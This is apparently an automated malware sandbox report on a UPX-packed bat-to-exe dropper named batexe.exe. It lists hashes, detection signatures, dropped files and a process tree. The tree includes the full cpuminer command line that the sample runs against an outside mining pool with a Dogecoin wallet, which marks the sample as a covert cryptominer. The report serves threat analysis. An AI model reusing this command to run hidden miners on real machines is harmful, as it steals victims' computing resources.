73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
303s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 17:16

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
532	b2e.exe
764	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
764	cpuminer-sse2.exe
764	cpuminer-sse2.exe
764	cpuminer-sse2.exe
764	cpuminer-sse2.exe
764	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2732-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 532	2732	batexe.exe	74
PID 2732 wrote to memory of 532	2732	batexe.exe	74
PID 2732 wrote to memory of 532	2732	batexe.exe	74
PID 532 wrote to memory of 3504	532	b2e.exe	75
PID 532 wrote to memory of 3504	532	b2e.exe	75
PID 532 wrote to memory of 3504	532	b2e.exe	75
PID 3504 wrote to memory of 764	3504	cmd.exe	78
PID 3504 wrote to memory of 764	3504	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Users\Admin\AppData\Local\Temp\1306.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\1306.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\1306.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:532
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1D37.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3504
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\1306.tmp\b2e.exe

Filesize
3.4MB

MD5
a19e0e011d0ae212062cd6b2de00fdc7

SHA1
46dcc48946bfcbcc2ca9f1158e85f5a76b09280c

SHA256
3cf440cf687cab062ec9c8be14b7104417d9d3d1031a4e587233a0cfe2b0759f

SHA512
3c72d9dedba80f67bba6b61e8e491291aa03e7a3574e42f48903e8b979e450346fc410a3091abebdb212b0eb3f0d055ade75bee40ded6a1a0cf7aa6322346d91

Download Submit
C:\Users\Admin\AppData\Local\Temp\1306.tmp\b2e.exe

Filesize
3.1MB

MD5
c074dcb1479a3328fed421341a92445e

SHA1
d5a1a95a6321b9e5db79c2763ce6c744e5fb6f02

SHA256
c7858b11480fb8dfb57a7f177f2b4541e497a6250068ebf1791d342be1460787

SHA512
07fe0ea8ac7ecd39b1ba204e1780ebebc95fb2705fb873da4993acd8b0d2d2134d2ba59dede4d130fe842b12086a8d9117112d5b1284fbcc6dac8137115c2f03

Download Submit
C:\Users\Admin\AppData\Local\Temp\1D37.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
d5646b12b00e9b766d3434ed5933129e

SHA1
2045c6720d051519e49e480248b8d2dd9780602c

SHA256
1fa4fff91671f221cb4d03d09e77969b23d96a82b6c866a4f32396101f0acbe0

SHA512
9d28125e92d3c408b7f24e01202ecbae9dfa8cfc1a09a1d218a091e58726d152683caa9bbe240803a44a699ffe9f0db9cf6d868c247973d21d3ef0325d57f664

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
38d8653c1a5edd94a705d1c066190ea5

SHA1
925f55bfd4ef06f3a180fda79256d525c46e49cb

SHA256
61759c687c3806c6bd2230288e04c520dc305bba79634687ddf4ecf0e8e2c9a2

SHA512
3feb8833a78b30fdd1456ff497faa86b4d6b159bd8e0f7d12ca35171095c8211b2830031c11256bc39adf95e1de5624c5826baf08579f68d71e174f759039820

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.0MB

MD5
4d49ffd5a663480c20e1f351889692f9

SHA1
2dcd4cdce8464bfa53aab9563ce60d212adb048f

SHA256
d7a616d3cd0f7508d0412f3c93b742eb9c0b424a5add835c6e5b4ae527331eae

SHA512
52c1423ce613ad102332839e44fe37e62156fa5f489d44c4866bf48110cd1b336c273a54b94d0595b77ce53a0f92a2d5812541061d058b4496a2569d5fcd4d9f

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
984KB

MD5
d8ea2e084a798b05997fec930bc31493

SHA1
db66238c3f9f0e5c9083b90bb6e3b42a0cd2db74

SHA256
4018ef436e1c0c7acff617ac39ae27f5b62633e6eb103f21e837aa965713da37

SHA512
52f7d6bd075106af35c95b3c7b17bda754698a9bbfeb977ae4d6a852c14e09bfc4248b1a8a9874d3b7dfdf6abb5cb8e097cd102fdca147a075d673bf1efc051f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
983KB

MD5
44f6c503922efa05df17e756941deb09

SHA1
1800d617f5dc2a558d01871538b4319e81520f3b

SHA256
9daaf05b6b5545e6727225ae543a4a79c15a94668f87d69dac804eb372110849

SHA512
1eca75e309e9f3c7482508b22d1e3c776712bdcae17f52917aae290e1f815fa8572e204896a392d2a9481bea18535f5571fa58d4d6d5d2438a4a847cbe334b7f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
833KB

MD5
c39cc50745c66b44afad8797d4715428

SHA1
da26a8c867d6b413b97ff84e3d600df05c80077a

SHA256
b7cdb4b6a0f61d45c590d19e88659bcfb562d6b44fa8111b9361d9a3e4089b59

SHA512
09d255a34639257adb7a4b9740242e8334909fa74389c9c4bc6d76264860129cf635064da88d6803a1558b1738296ae66b88b11e51ed6bbc2f04ba7c9e3dc46b

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/532-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/532-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/764-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-43-0x0000000068830000-0x00000000688C8000-memory.dmp

Filesize
608KB

Download
memory/764-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/764-44-0x00000000010B0000-0x0000000002965000-memory.dmp

Filesize
24.7MB

Download
memory/764-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/764-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/764-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2732-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download